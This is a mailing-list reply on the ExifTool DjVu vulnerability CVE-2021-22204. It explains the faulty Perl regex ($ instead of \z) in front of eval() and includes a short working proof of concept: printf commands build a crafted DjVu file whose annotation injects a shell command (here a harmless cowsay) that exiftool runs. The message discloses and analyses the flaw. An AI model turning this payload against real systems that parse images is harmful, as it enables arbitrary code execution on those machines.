Date: Mon, 10 May 2021 15:46:18 +0200 From: Jakub Wilk <jwilk@...lk.net> To: <oss-security@...ts.openwall.com> Subject: Re: [CVE-2021-22204] ExifTool - Arbitrary code execution in the DjVu module when parsing a malicious image * William Bowling <will@...wling.info>, 2021-05-09, 14:32: >ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for >arbitrary code execution when parsing malicious images. Using eval() to parse C-like strings is undoubtedly a terrible idea, but the code does attempt to neutralize the input, and it wasn't immediately obvious to me where the bug is. It turns out the way it determines where the string ends is incorrect: # we're good unless quote was escaped by odd number of backslashes last unless $tok =~ /(\\+)$/ and length($1) & 0x01; But $ doesn't match only the end of the string; it matches also before the trailing newline. You need \z if you want only the former. (But of course in this case ditching eval(), rather than fine-tuning the regex, was the right course of action.) Proof of concept: $ printf 'P1 1 1 0' > moo.pbm $ cjb2 moo.pbm moo.djvu $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu $ exiftool moo.djvu > /dev/null _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || -- Jakub Wilk
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.